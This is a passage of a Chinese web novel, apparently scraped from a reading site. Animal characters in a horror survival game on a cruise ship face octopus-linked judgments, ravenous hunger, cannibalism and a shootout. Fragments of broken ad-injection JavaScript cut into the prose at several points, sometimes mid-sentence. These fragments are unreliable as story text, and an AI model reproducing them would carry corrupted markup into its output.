可谁知她刚说完,小吉就疑惑地看向她:“王子?什么王子?” 郝荨愣住:“花豹王子……?” 这话一出,所有人都笑了,哪怕是黑着脸的天鹅院长也露出一个轻蔑的笑。 小吉笑得最大声:“别搞笑了!花豹的国家都破产了,灰马怎么会邀请他!” 一股冷气从郝荨的脚底席卷而上。 怎么回事? “各位贵客怎么在这儿?” 小仓端着好不容易搞出来的燕麦碗,神情惊讶。 郝荨立刻问道:“你还记得花豹王子吗?” “花豹王子……啊!灰马总裁本来准备邀请他的,可惜他们国家上个月破产,总裁让我把他的名单划掉了,怎么了吗驼驼小姐?” 或许是真的把她当备选老板了,一见到她小仓就颠颠跑了过来。 郝荨低下头扫视,餐盘上也确实只有七份早餐。 是她的记忆出现了偏差…… 还是其他人有问题? 【第二轮审判开始——】 “还有第二轮?” 小吉好像被掐住脖子般叫起来:“这破游戏一共有几轮?!” 广播没有反应。 下一秒,新的审判卡出现在大家手中。 天鹅院长满脸不耐,他洁白的手帕已经全黑,才勉强让大半脸部恢复干净,此刻浑身仿佛有跳蚤一般哪儿哪儿都觉得不对。 他快速道:“如果说广播那头真的是八爪一家的话,他们最恨的应该是小吉?” “放屁!” 小吉将酸奶碗一饮而尽,一把摔在地上。 “我又没成功!要说恨,肯定还是恨阿德利啊!”他嘟嘟囔囔道。 “也不知道一天天哪里来那么多牛劲,暴力狂!” 阿德利目光沉沉,他忽然开口:“你们就真的这么确认,进行审判的是八爪一家?” 小吉一噎,他没好气道:“除了他们还能有谁?” “有一个人从上船开始就很奇怪,明明自小血统尊贵,傲慢娇弱厌恶他人近身——” 阿德利慢悠悠踱着步,一股不妙的情绪从郝荨心底升起。 “——却与她从前最看不起的劣等生物打得火热。” 他在郝荨跟前站定,眼神不善地在她和小仓中徘徊。 小吉恍然大悟:“那她刚才特意提起花豹,是要故意误导我们?” 天鹅院长冷脸审视。 阿德利笑了笑:“如果不是别有目的,那该如何解释呢,驼驼小姐?” 郝荨:…… 你的分析很好,下次别分析了。 郝荨没有急着辩驳,而是挑眉反问:“这么急着把矛头指向我,是怕大家把你投出去吗?” 阿德利眯起眼:“大家有什么理由要投我?” “这么明显的事,真的要我说吗?” 郝荨气定神闲地和阿德利对视,大大的羊驼眼睛一眨不眨。 气氛凝固。 数秒后,阿德利率先移开视线。 他话音一转:“当然,我相信骄傲的驼驼小姐不会堕了驼驼家族的名声,既然她没有说谎,那就只有一个可能。” “什么?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “知道当年发生过什么事的除了八爪一家——可还有一个人。” 阿德利舔了舔后槽牙,冷笑道:“失踪的花豹。” 这场讨论以天鹅院长实在无法继续忍耐而结束。 阿德利提出了一个崭新的提议,一起投给花豹王子,大家都点头表示同意。 趁着大家离开,她凑到公主身边:“聊聊?” 刺猬公主收回望向冷柜的视线:“嗯。” 两人回到郝荨房间,才短短一天,葡萄就已经生出了小黑斑。 她捏起葡萄一颗一颗地摆放在桌上: “灰马总裁、天鹅院长、阿德利教父、小吉少爷、刺猬公主、花豹王子,以及我,驼驼小姐。” 七颗又圆又大一看就非常好吃的深紫色葡萄在桌上排成一个完美的圆圈。 “上船的第一天,花豹王子差点落水身亡。” 她手指轻轻一弹,一颗略有些干瘪的葡萄咕噜噜滚出圈外。 “第二天,灰马总裁被审判,爆体而亡。” 一颗比其他都要更大一些的葡萄被戳了一下,炸开了花。 “同时,花豹王子消失——你有什么想法?” 公主盯着葡萄看了一会,突然问道:“这是什么?” 郝荨疑惑:“葡萄啊,怎么了?” “为什么会有葡萄?” 郝荨一愣,果盘里有葡萄有什么奇怪—— “你没有?” 刺猬公主点点头,强调道:“所有人都没有。” 这句话一出,郝荨人都麻了。 在副本中,特殊可不是什么好事。 “为什么只给我?” 驼驼小姐和其他人有什么区别? 还有那股说不清的熟悉感…… “咚咚咚!” 门被快速敲响。 “驼驼小姐不好了!” 郝荨打开门:“小仓?” 小仓似乎是一路狂奔过来的,她身上毛炸得蓬乱,怀表链子都被甩了出来,她扶着膝盖拼命喘气:“冷……冷库……” 郝荨懂了,她开口安慰道:“别担心,冷库的事我们都知道了。” 小仓愣住:“……大家知道物资全都坏掉的事了?” “等等,什么叫全都坏掉?” 冷库被灰马爆炸搞得一团乱她是知道的,但除开冷库里的冻品,应该也有普通的食材,何况这么大一个游轮,怎么会没有像罐头这种应急物资? “全都、全都坏掉了!不管是厨房里的存粮还是仓库里的储备物资,都不能吃了!” 小仓泪眼汪汪,她吸吸鼻子,左右看了看,小声道:“驼驼小姐,我清点了一下,只有这几个罐头还勉强能吃,你快拿去,别被大家看到了!” 说着,她递过来三个午餐肉罐头。 “那你呢?” 小仓心虚地低下头,含糊道:“我……我自己准备了……” 郝荨想了想,从她手里接过两个:“咱们仨一个一个,你省着点吃,我会想办法尽快解决。” 她没有说要解决什么,小仓看着手里剩下的那个罐头,又看了看语气坚定的郝荨,神情犹豫。 “什么坏了?!” 隔壁门忽然推开,小吉少爷的狗头从门缝里挤出。 郝荨上前一步挡住小仓,拿着罐头的右手伸直,刺猬公主这时候反应很快,迅速接过罐头收起。 “物资坏了?” 小吉正要发火,郝荨先一步打断他。 她严肃道:“小吉少爷,我们得谈一下。” 19. 鱼人节盛宴08 郝荨走到小吉的房间门口,上手推门,小吉连忙按住她:“你做什么!” 这个反应? 她仔细看去,小吉一副还没睡饱的模样,眼里泛着淡淡的红血丝。 也许是她的错觉,那红血丝似乎微妙地动了一下。 一股奇异味道从门缝里飘散而出,郝荨越过他的脑袋向内看去。 小吉踮起脚:“淑女这样查看绅士的屋子有点不礼貌吧?” “抱歉。” 郝荨收回视线:“这一轮你准备投谁?” 见她放弃闯入,小吉明显放松下来:“你想投谁?” 只要不投他,他就很好说话。 郝荨压低声音:“我们得把阿德利投出去。” 小吉挑眉:“为什么?” “小仓,告诉小吉少爷船上现在的情况。” 小仓左右看看,捏紧怀表说:“小吉少爷,我们没吃的了。” “什么——?!” 郝荨一把捏住小吉的狗头:“小声点,你想被其他人做成狗肉馅饼吗?!” 小吉呜呜两声示意自己知道:“那和阿德利有什么关系?” “这就是问题的关键了。” 郝荨弯下腰,示意他附耳过来。 小吉犹豫了几秒还是微微打开门,把头探出更多。 “我问你,现在船上我们几个人加一起能打得过阿德利吗?” “勉强可以?” 郝荨将头凑得更近,声音愈加轻柔,眼神却不住地往门内看去。 小吉的套房格局和她的一模一样,只是乱糟糟的,到处都是四散的衣服和那几位美人的化妆品,毯子浴巾扔了一地。 她忽然顿住,在视线死角的边缘,一条浴巾轻轻动了一下…… 就像有谁路过时不小心被绊住一般。 有其他人在? “那如果我们几人中有人被投出去呢?还能打得过吗?” 小吉皱起眉毛,他没有说话,但结果很明显。 郝荨微微勾起嘴角:“如果这一轮走的不是阿德利,那么接下来的审判,你以为我们还能说了算吗?” “何况,现在船上没有食物——” 小吉抬起头,他眼神发冷:“那我们就会变成他的食物。” 没有人比他更了解阿德利的冷血。 如果他会心软,那他早在成为教父的路上就死了无数次了。 “我知道了。” 就在这时,宴会厅的方向突然传来一阵扑鼻香气,他们的肚子就像是被打开了什么开关,异口同声地叫了起来。 与此同时,无法忍耐的饥饿感升起,大家的脚步不听使唤似的一股脑往宴会厅走去。 小吉跑得最快,跑着跑着,他的脚步忽然慢了下来。 宴会厅灯火通明,壁画上的海浪层层迭起,长桌上放着一盘盘精致小巧的高档餐食,粉色肉块和绿色蔬菜摆放在一起,佐有蓝色的漂亮酒液,正中间放着一个巨大的瓷盘。 瓷盘上盖着盖子,清新的海洋气息与肉类香气混合,令人如坠梦中。 “来电了?” 天鹅院长从后方徐徐走来,他换了身衣服,浅色的外套和白色的高领显得他个高腿长,整个人干净极了。 与之相反的是他的脸色,一副很不开心的焦躁模样,边走边略带神经质的拿消毒液搓手。 “这是……?” 他惊疑不定地望向宴会厅,“小仓准备的?” “不是。”郝荨摇头。 这不是她足够信任小仓,而是桌上的鱼块就是铁一般的证据。 昨夜大家可是亲眼见到冷库的惨状,灰马总裁爆开之后产生的黑色液体异常多,算起来比他整个人都要大上好几倍,完全不符合物理定律,且那液体渗透得异常快速,几秒功夫,冷库里连块巴掌大小的好肉也找不到了。 几人怔怔站在宴会厅门口,没人敢动。 小吉吞了吞口水:“只要不吃那条鱼就好了吧?” 众人齐刷刷看向他,阿德利挑眉:“你去?” 小吉迟疑几秒,灰溜溜道:“还是算了。” 小仓着急忙慌地赶来,走廊里没灯,她一骨碌摔了一跤,摔得七荤八素。 不知道是碰到了哪里,腿上被划了长长一条口子,鲜血渗了出来。 阿德利嗅嗅鼻子,或许是饥饿的副作用,他的鼻子随着饥饿感越发灵敏。 鲜血的铁锈味与宴会厅里的鲜味融合,逐渐转换成一股分外诱人的味道。 “好香……”小吉眼睛直勾勾地盯着小仓,口水从嘴角流了出来。 背光的走廊里,四双野兽的眼睛泛出绿光。 小仓的皮毛比她本人还要快地感知到危险,她紧张地浑身发抖,毛发直直竖起。 “咬一口……不要紧吧?”小吉忍不住向前迈了一步。 阿德利声音很冷静:“只要不大出血就没事。” 就连天鹅院长也缓步上前,幽幽道:“一口,一口进行……” 宴会厅的灯光照在他们身后,在墙上映出一个巨大无比的怪影,那怪影张牙舞爪,将小小的仓鼠身影笼罩在口中—— “跟我来!” 郝荨一把拉起小仓就往楼上跑,他们正要追,却被一个娇小的身躯拦住去路。 刺猬公主小小叹了口气,从靴子里取出匕首。 “一起上?” * “呼……呼……” 驼驼小姐的身体素质并不高,跑没几步就喘得好像个破风箱,她勉强支撑住小仓来到套房层才有功夫缓口气。 “医药箱在哪?这么大的伤口得快点消毒,破伤风就不好了。” 小仓低着头,一言不发。 郝荨正要抬起头,一滴滚烫的液体滴落在她肩上。 小仓脸色苍白,她紧紧闭着嘴,身体却不受控制地抽动,郝荨抬起空着的手摸了摸她的脸颊肉: “别哭,你不会有事的。” “驼驼小姐……要是我死了,你就吃了我吧……” 郝荨摸她脸的手一顿,改成掐的姿势一把抓住仓鼠柔软的腮帮,“别胡说,这么点伤口你不会死的。” “况且,不是说好要来给我打工的吗?” “尊嘟、尊嘟可以吗?” 郝荨脑海中的员工图鉴闪了一下。 【检测到有新员工申请入职——吸溜——现将为新员工拟定合约——】 郝荨:…… ‘神使,你在吃什么?’ 【吸溜——你剩下的泡面,嘻嘻。】 还敢嘻嘻?! 那可是她斥巨资买的泡面! 郝荨气得双眼通红,等着,等我出去你就完了! 【嘻嘻。】 小仓的豆豆眼水水润润,眼圈红红。 “有点想姐姐了……” “姐姐?” 郝荨费力地把她往上提了提,往房间走去。 “怀表里的那个是你和你姐姐吗?” 小仓点点头:“姐姐比我聪明多了,从小就爱看书,知道很多奇奇怪怪的知识……” “呼……呼……” 或许是体力即将耗尽,郝荨只觉得身上的小仓越来越重,明明房间门近在咫尺,却怎么也走不到。 “爸爸妈妈也很喜欢她,只是——” 为了转移注意力,她随口接话道:“只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 小仓柔软的声音停顿了一会儿,一股凉凉的气息从郝荨耳旁吹过: “只是姐姐去侍奉神明,好久没来看我了。” 郝荨脚步顿住,心脏重重一跳。 “驼驼小姐,你来当我的姐姐好不好?” “……这可不行。” 小仓的身躯逐渐变得潮湿,她缓缓滑下:“为什么?” “因为……” 郝荨心如擂鼓,她咽了口口水,冷静道:“因为你要给我打工呀,干我们这行的,最忌讳搞上下级关系!” 小仓:…… 她当做没有听到,嘴里喃喃道:“姐姐,你心脏声好响,让我看看好不好?” 一根滑滑黏黏的东西顺着郝荨的脚踝攀附而上,她张开双臂就要拥上。 郝荨大声骂了一句脏话,一脚踹开触手就向房间狂奔。 “呼…呼…!” 刚迈出一步,走廊就跟泥捏似的突然变长,歪歪扭扭。 郝荨拼了命往前奔跑,身后的女声变细变高,变成了小女孩的声音: “姐姐,你跑什么呀?” “姐姐赶着去上班,你别追了!”郝荨头也不回地喊道。 小女孩似乎被噎住,走廊停止变化。 郝荨眼睛一亮,急忙往房间跑去。 下一秒,一根巨大的触手从天而降,重重敲在墙上,将房门堵了个严严实实。 它的身体从走廊深处的黑暗中缓慢挪来。 郝荨一个急刹车回头,身后的路却被小女孩堵死。 她气定神闲地站在那里,周身气压低得可怕。 郝荨有些意外,这个女孩并不是她想象中的八爪小姐模样,黑色的头发,深棕色的眼睛,有着一张可可爱爱的圆脸。 她居然是个人类! 密集的刺痛感从心脏涌出。 郝荨一手扶上墙壁,强忍疼痛道:“妹妹,你追我做什么?” 小女孩抬手撩开发丝,有什么光芒在她的脖子上晃了一下:“姐姐不是饿了吗?我来给姐姐送吃的呀。” “这样啊……” 郝荨苍白着脸,顺着墙壁慢慢坐下。 她咳嗽两下,将手背在身后道:“那你过来吧。” 心脏的疼痛逐渐蔓延到四肢百骸,她眼前开始出现暗影。 郝荨咬了下舌尖,血腥气勉强让她清醒些许,郝荨不着痕迹地伸进裙摆,按出了那把已经变得温热的木仓。 只要对方再走近一步,就一步—— “砰!” 身后的巨大触手霎时挥下,将她一把甩飞,木仓也被甩到了走廊另一头。 她的生命就这么结束了? 郝荨趴在地上,心脏痛到她连呼吸都无法维持,一双遍布血污的脚慢慢走到她眼前。 “你不是我姐姐。” 小女孩蹲了下来,天真地笑着:“我姐姐才不会拿木仓对着我。” 她明明在笑,为什么却好像在哭? 郝荨视线模糊,只隐约感觉到对方心底深处有股巨大的绝望。 触手从小女孩的背后伸出,渐渐将郝荨包拢在里头,八爪鱼的八条触手在她身上交叠卷束,吞噬她的身体。 【资本家天赋技能激活】 【技能:我是自愿加班的】 【品阶:绿】 【描述:危急时刻,玩家可召唤员工出现,时限:十分钟,每场游戏仅可召唤一次。】 【备注:优秀的员工理应懂得为老板排忧解难,哪怕是在私人时间。】 郝荨用尽最后一丝力气选中员工,视线被触手遮蔽,她陷入深沉的黑暗之中。 “……姐姐……” 20. 鱼人节盛宴09 空灵的吟唱声随着海风飘荡: “……善良的八爪一家……” “……愚蠢的八爪一家……” “万能的神明啊,求您遮蔽我的行踪,模糊我的容貌……” “我将为您献上最丰盛的祭品……作出最后的审判!” …… “姐姐……姐姐醒醒!” “园长姐姐!” 郝荨猛地睁开眼,瞳孔剧烈颤抖,她一把抓住蓉蓉的手。 扑了个空。 她看向自己半虚化的手:“……差点就要中道崩殂了!” 还好蓉蓉的技能是身体虚化,不然她今天可真要交代在这。 蓉蓉歪了一下脑袋,没听懂。 郝荨:“刚刚那个女孩呢?” 蓉蓉摇摇头:“她看了我一眼就走了,姐姐,你刚刚被好大好大的章鱼压住!吓死我啦!” 郝荨摸摸她的头:“是呀,我们蓉蓉真厉害,能把姐姐从大章鱼手中救出来!” 一阵脚步声传来,蓉蓉回过头:“时间到了,姐姐,我要回去了。” “好。” 话音刚落,蓉蓉的身影原地消失,郝荨的手也重新变回了实体。 刺猬公主抓着裙摆,从拐角处走出。 “……?” 她疑惑地顿住脚步,尊贵的驼驼小姐安稳地躺在地上,一副刚睡醒的模样。 “晚安?” 郝荨伸出手:“帮个忙,拉我一把。” 刺猬公主拎住她的后颈一把提起,郝荨将刚刚发生的事一说,公主眉头皱起:“BOSS是小女孩?” “怎么了?” “小孩、女人、老人,这三类是迷雾游戏里最难缠的NPC,”她摇摇头,“很麻烦。” 郝荨垂下眼睛,思索一番道:“再去一趟救生艇吧,我怀疑,我们有东西遗漏了。” 救生艇还停留在她们上次离开时的模样。 几个备用物资箱翻倒在地上,乱七八糟的垃圾落了一地。 她拿起那半根数据线细瞧,半晌后,她倒抽一口冷气。 公主纳闷地歪了一下脑袋。 郝荨递给她:“你看。” 一拿到手她就发现了不对:“这是——咬痕?” 数据线的断口处呈压扁状态,边缘稍高,看起来像是被牙齿咬断的。 郝荨又拿起拖鞋碎片,果然,拖鞋上也有小口小口啃食的痕迹。 再结合上雷暴海难的关键词,这些东西的来源已经呼之欲出。 郝荨叹了口气。 为了安全,全封闭式救生艇没有设置窗户,但这艘年代久远的小艇似乎被什么利器狠狠劈砍过,缝隙清晰可见。 日光透过这条缝隙照进内舱,正好打在郝荨手侧。 她盯着那处看了一会儿,忽然发现地面有些突起,就好像下面有什么东西在往上顶。 郝荨用手抠了抠,没抠出来。 她抬头看向公主,大大的眼睛里充满了无辜。 刺猬公主一顿,迟疑地将地面撬开,露出了一个白色小坛子。 坛子旁放了一本厚厚的书籍,和小仓怀表里的那本一模一样。 这本棕色的硬皮书没有名字。 她疑惑翻开,第一页画了一张画,稚嫩的笔触下一只巨大的粉红八爪鱼温柔地抱着三个人类,爸爸和妈妈一左一右站着,中间站着一个穿着白色裙子的小女孩,女孩伸出左手,仿佛在牵着什么的模样。 旁边用拼音和错字写着: “万nen的八爪shen保右wo门(划掉)们永远在一qi!” 翻开下一页。 里面记载着的是各地民俗中流传着的神明大人,其中一页被折了起来,是一位名为八爪的神明。 据传,祂沉睡在海底深处,拥有着无上智慧,会为所有信服祂的生物赐福,获得他们想要的一切,是一位万能而仁慈的神明。 上面还刻画了一个召唤八爪神明的法阵: “若是想要召唤神明,需用自身之鲜血,灌注痛苦与祈祷,刻画黑海之门,献上爱意的祭品,方能呼唤祂的姓名,祈求祂的降临。” “仁慈?”郝荨挑了挑眉。 她拿起一旁的坛子轻轻晃了晃,坛内似乎有什么硬物在里头晃动,触及坛壁发出清脆的声响。 公主的匕首还没收回,郝荨笑眯眯地递给她,匕首轻轻一转,坛子便被打了开来。 细微的尘埃从坛里冒了出来。 “咳咳……” 郝荨忍不住被呛到,她探头看去:“这是——” 灰白色的粉末中堆积着几根破碎白骨。 “骨灰坛?” * 宴会厅,七个座位已经空了两个。 剩余五人分别坐在自己的位置上,面色惊惶,口里却不由自主地分泌着口水,饥饿的感觉让每个人都眼睛发红。 郝荨一手按紧胃部,另一手整理着自己宽大的裙摆,她打量着周遭众人的神色。 阿德利拿着餐刀仔细地检查,那模样仿佛下一刻就要割向谁的喉咙,天鹅院长皱着眉擦手,在他脚下,数十块手帕堆积在那,却仿佛手上还有什么脏污一般疯狂擦拭。 小吉少爷一副餍足模样,毛发油光水滑,跟打了蜡似的,仔细看去,他眼里的红血丝却更重了,刺猬公主低着头发呆。 喇叭声响起: 【投票完成,审判环节开启。】 【本轮的“罪人”是——】 郝荨收回视线,在场五人,她和公主已经商量好要投阿德利,最关键的小吉也被她拉拢过来,几乎没有理由反水弃最大的威胁阿德利而投其他人,不出意外的话,罪人就应该是—— 【天鹅院长。】 阿德利教父。 郝荨瞳孔一窒,怎么会是天鹅院长?! “什么?!” 院长失态地站起,他迅速看向其他人,出乎意料的是,每个人脸上都露出了如出一辙的震惊表情。 天鹅院长捏紧拳头,不怒反笑道:“投我没关系,很快就轮到你们了!” 他高高扬着脖颈,他洁白的羽毛像利刃一般炸着,刺向四周。 “我们当初犯下那样的罪,还以为他们会放过你们吗?你!” 他指向阿德利,阿德利面无表情。 “你!你!还有你!” 他最后指向郝荨,手指滑下,落到她心脏的位置。 一团黑色从他的高领内搭中渗出,迅速染上了那片羽毛,院长神情狰狞:“我会在下面等着你们!!!” 那团黑色就像是什么污染,快速地在他身上攀爬,只要稍一接触,原本洁白的羽毛就会在瞬间被染黑,短短时间内他高贵的天鹅头颅就变成了半黑半白的诡异模样。 一片黑色的残羽从他肩头落至手背,院长惊骇,喉中发出只有在极其恐惧之下才会有的尖叫声:“啊!——好脏!” 他边叫着,边掏出消毒液疯狂揉搓,黑色羽毛连同白色绒羽被连根拔起,但那污染堆积在皮肤中,他光秃秃的皮肤也染上了斑斑点点…… 就像是昨夜被灰马的血液溅射到那样。 很快的,他就从白天鹅变成了一只散发着污臭味道的黑天鹅。 再一眨眼,他便化作一座昂着头的黑色雕像,直挺挺摔落在地,裂成了几块。 【赐福已完成。】 审判卡从雕像上漂浮而出,上面写着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的正是花豹王子。 不等他们为院长的死亡发出多少悲痛之声,一股莫大的香味从雕像的截断处涌至鼻尖。 好香! 那道香味甚至压过了桌上的粉色肉块! 如此霸道的香气顺着鼻子来到胃里,引发的饿意几乎要让人丧失理智。 不,已经有人失去了理智。 小吉大张着嘴来到雕像身前,眼睛赤红无比:“就……就咬一口……吸溜——” 说完,他便咬了下去。 那雕像入口并不是看到的那般硬,反而很有韧劲,软嫩弹滑,鲜美可口。 他狼吞虎咽下第一口,便有了第二口,接着两口三口四口,只短短几秒,天鹅院长的整只手掌就已经消失在了他的肚子里。 见他吃得香,阿德利也忍不住了,径直扑了上去。 “咳咳!”小吉似乎被什么呛住,他掐住脖子剧烈咳嗽起来,“咳——!” 有什么白色的东西从他嘴里飞出,郝荨定睛一瞧,是一只白色的掌骨。 “住嘴!你不许吃了!” 阿德利一把挥开药再度扑上来的小吉,呵斥道。 小吉摔倒在地,面上不见任何痛苦之色,他双眼死死盯着天鹅院长的雕像,仿佛着魔一般拼命往前冲。 阿德利一边啃食一边用力推开他,情绪肉眼可见地越发暴躁,他眼睛通红,仿佛要滴血般从腰间掏出手木仓—— “砰!” 小吉扑倒在地,疼痛似乎唤醒了他的理智,他抱着中弹的腿“哎哟哎哟”地叫了起来。 阿德利大快朵颐,他剖开院长的胸口掏出内脏,似乎是觉得这么吃没什么意思,他的视线转到桌上,露出了一个满意的笑。 “……他疯了?” 郝荨和刺猬公主缩在角落,她捂住鼻子以抵抗那股要人命的香气。 刺猬公主微微皱眉:“他的理智降到危险区了。” 巴别塔之歌的攻略贴里认为,虽然没有明确数值,但迷雾游戏里无论是NPC还是玩家都隐藏有理智值的设定,如果说理智值满分是100,那低于60就会出现幻听等幻觉,而低于30则为危险区,会像阿德利一样几乎无法控制自己,且精神值越低掉得越快,与之相对的,危险性却会呈指数上涨。 像她上个本那样,被日记本影响情绪也会降低理智,包括使用弗兰德斯之木仓后的头痛欲裂也是理智降低的表现。 她看向阿德利,平常稳重又冷酷的企鹅张着他尖尖的喙,将桌上的菜色几口吸入。 似乎还是不满足,他盯上了餐桌正中那顶还未打开过的盖子。 “你,去打开它。” 郝荨:“……我?” 她斟酌了一下,上前掀开,可很快,她就后悔了—— 那里面放着的是正是红裙女孩的头颅! 女孩睁开双眼,嘻嘻笑了起来: “下一个,轮到你了!” 郝荨猛地后退,再看去时,那头颅已经消失不见,取而代之的是粉色八爪鱼的脑袋,阿德利似乎什么也没发现,一把拽过脑袋就塞进自己嘴里。 小吉实在忍不住了,也冲了上来。 咀嚼声在空旷的房间内不断回响,她退到窗边,刺猬公主盯着窗外目光沉沉: “雷暴越来越近了。” 郝荨扭头望向窗外,本该风平浪静的海面逐渐卷起波涛,雷暴在数十米外清晰可见。乌云聚集,深沉的海底似乎有什么黑色的巨影在游走,那影子舒展着肢体,仿佛能看到八条纤长的触手。 他们就像是笼中之鸟,只能眼睁睁看着笼子倾倒压下,将自己碾压粉碎。 “砰!” 后脑忽然剧痛袭来,她恍惚倒下。 21. 鱼人节盛宴10 “你、你要做什么!” 尖尖细细的刺耳叫声划破黑暗,郝荨晃了晃胀痛的脑袋,努力睁开双眼。 手腕好疼…… 视线从模糊转为清晰,他们依然还在宴会厅,只是大家的手腕被绑住而已—— 而已什么啊! 她望向对面的位置,小吉因为失血脸色惨白,他颤抖着下唇,声音是控制不住的高亢,几乎破音: “阿德利,你疯了吗……” 阿德利坐在主位,举起酒杯喝了一大口,粉色肉块的碎末在他齿间腾挪,他仅剩的那只眼珠血红:“看来大家都醒了?” 没有人敢应答。 “我相信,大家对八爪一家的审判,都多少有些猜测吧?” 或许是嫌帽子碍事,阿德利摘下帽子随手扔到地上,向来整齐的衬衫袖口被暴力拉开,领带要掉不掉地挂在脖子上,那颗油光水滑的脑袋乱糟糟的,他毫不在意,只是自顾自地猛嚼了一口手中的八爪鱼头,表情迷醉。 “所以——” 阿德利举起酒杯,透过海蓝色的酒液细细观察每个人的表情:“说说吧,你们当中究竟谁是这位‘八爪鱼’?” 郝荨眉头一皱:“什么意思?” “当然,你们也可以不说。”阿德利露出一个残忍的笑,“既然这样,那我就一个、一个……将大家送去见八爪一家。” “——直到审判结束。” 郝荨:…… 你猜得很好,但是真的不要再猜了! 阿德利站起身,来到小吉身后,举木仓顶在小吉头顶: “是你吗?” 小吉打了个冷颤,一动也不敢动。 他又顺着长桌转动,来到刺猬公主的身边,低下头凑到她耳边:“还是你?” “又或是——” 郝荨咬住下唇,头脑疯狂转动,她该如何才能破局? 突然,冰冷的木仓支抵住她的太阳穴。 “你?!” 她不由自主地抖了抖,阿德利嘲讽地笑笑,回到主位。 “赌一赌吧,看看你们三个——谁会赢?” 阿德利举起木仓在他们三个中来回点着,郝荨忽然感觉有人踢了自己一下,她抬起头,对上了刺猬公主黑沉沉的双眼。 “还是没人站出来吗?” 阿德利仔细擦了擦木仓口,满眼无奈:“那只能从你开始了,毕竟我们亲爱的第一美人——从不做第二。” 一抬头,郝荨就看见那黑洞洞的木仓口毫不犹豫地对准了自己。 郝荨:…… 阿德利绅士地笑笑,扣住扳机的手指熟练压下—— 靠! 郝荨猛地踹向长桌,向后仰去,但比她身形还快的是一道从下方急速飞上的冷光。 “铛!” 不是子弹爆开该有的声音,阿德利皱眉,他闻声望去,见到的却是一柄形状诡异的冷冽利器。 利器将子弹打偏后在空中被锁链拉住,随即又以极快的速度画圈旋转,直冲阿德利颈间而来! 阿德利撤步闪过,利器越过他飞回桌边,被一只苍白而又骨节分明的手轻松握住,这只手的主人从桌边缓缓站起。 “刺猬公主?”阿德利满脸诧异。 郝荨费劲地从地上翻了个身,从她的角度看去,正好看见公主握着刀的手,那柄长刀样式有些奇怪,刀柄是一截骨头,紧紧缠绕着血一样的锁链,往上看去,她手臂上凭空多出一道深可见骨的伤痕,明明是才受伤的模样,伤口却没有流出血液,就像是……血液凝结成锁链,从伤口处生长而出一样。 她来不及细想,眼看着两人已经打了起来,连忙把自己给挪进了桌底。 “……好巧。” 对面是小吉少爷那张惶恐又带着些许尴尬的脸。 “快,帮我解开——” “砰!” 一道木仓响声响起,两人打了个激灵,而外头的阿德利见一木仓没中,果断又开了一木仓,又被公主躲过。 谁也不知道刺猬公主瘦瘦小小的身体里怎么能有那么强的爆发力。 下一秒,那柄刀就带着雷霆万钧的气势划至他眼前。 阿德利连忙后撤,但那道刀光却仿佛提前知道他会朝什么方向撤退一般提前等在了那里,只三刀,空气中就弥漫出了血腥气味。 快!太快了! 快到他只来得及捕捉到残影! 他连连后退,举木仓朝着刀光来时的方向射击,却连公主的裙角都没碰到,反倒将宴会灯给射了下来,只听“哐当”一声,整个宴会厅陷入了黑暗。 阿德利喘了口气,还不等他气喘匀,黑暗中一道冷光迎面而来,他猛地往后连退数步,连连开木仓,这真的还是刺猬公主吗?!为何黑暗对她毫无影响? 为了躲过对方,他迅速后跳,却一脚踩到了什么,那触感柔软又黏腻,将他的脚踝深深包裹。 阿德利一愣,一股巨力拽着他的脚踝瞬间拖入黑暗—— 很久没有声音传来,郝荨疑惑地掀开桌布探出头去,窗外闪电划过,宴会厅空空荡荡,公主的脸上写满了“茫然”两个字。 “怎么了?” 郝荨揉了揉磨破的手腕,小吉也从桌底爬出,咳了两下:“阿德利那疯子呢!” “他消失了。” 小吉被噎住:“什么意思?” “消失?”郝荨拧起眉毛,宴会厅中确实只有他们几个,没有一丝企鹅教父的身影。 她取出一直随身携带的手电筒。 小吉:“啊!” 宴会厅的地板上赫然出现了一道拖拽痕迹,那痕迹微微泛黑,边缘有些潮湿的水痕,郝荨想起雷暴来临时走廊里的粘液,伸手摸去—— 果然,一模一样。 几人顺着拖痕来到门口,小吉惊恐道:“这是……?” 宴会厅的走廊两侧遍布着巨大生物游走的痕迹,多条或粗或细的触手顺着墙壁爬上天花板,手电筒慢慢上移,几人震惊地张大嘴巴。 天花板上堆积着层层叠叠的黑色粘液,无数条触手在上面滑动着,似乎是感受到有光,触手们动作缓慢地移开。 郝荨沉默许久,艰难开口道:“看来,自从停电开始,它们就一直在头顶盯着我们……” 小吉“哇”一声吐了,情绪彻底崩溃:“你们追着我干嘛!我又没做什么……都是、都是灰马和王子,还有阿德利!都怪他们!我道歉还不行吗!” 手电筒忽然闪了闪,一阵冷风不知从何处吹来。 “对不起对不起!对不起行了吧!” 他滑落在地,声音逐渐变得飘忽,眼神空茫地盯着走廊深处:“仁慈善良的八爪神明啊,请宽恕我……” 郝荨迅速回头,手电筒照射到的地方什么东西都没有。 “罪人已经伏法,我只是犯了一些小错而已,宽恕我吧——” “哐!!!” 巨大的震动打断了小吉,郝荨冲到窗前一瞧,鸡皮疙瘩瞬间起了满身,海底出现了巨大的漩涡,漩涡中心探出一条数百米长的黑色触手“哐当”一声砸在船身上,正在把游轮往海底拽! “怎么办?” 这玩意真的是D级副本里应该有的东西吗?! 刺猬公主细细将那柄长刀缠回手臂,脸色苍白,神情却很冷静:“游戏不会设置必死的局。” 郝荨眼神亮起:“救生艇!” 她正要往船尾跑,却被小吉一把拖住裙摆—— “带上我!不然大家一起死!!!” 公主:“啧。” 她手腕一旋,就要挥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刀砍下。 “等等。” 郝荨短暂思考了一秒,果断道:“带他一起。” 公主皱了皱眉,拽住小吉的衣领像拖麻袋一样大步向前,小吉少爷缓过气来又开始叽叽歪歪,路过房间时大喊自己房里有重要物品,非要一起带上。 郝荨反手就给了他一爆锤:“我给你两个选择,一:三秒钟时间自己进去拿,二:闭嘴!” 小吉少爷想到自己屋里那个神秘又惑人的美人,美人是在灰马爆炸那天夜里出现的,浑身湿透地呼喊着救命,他作为王国最有名的绅士,当然立刻英雄救美! 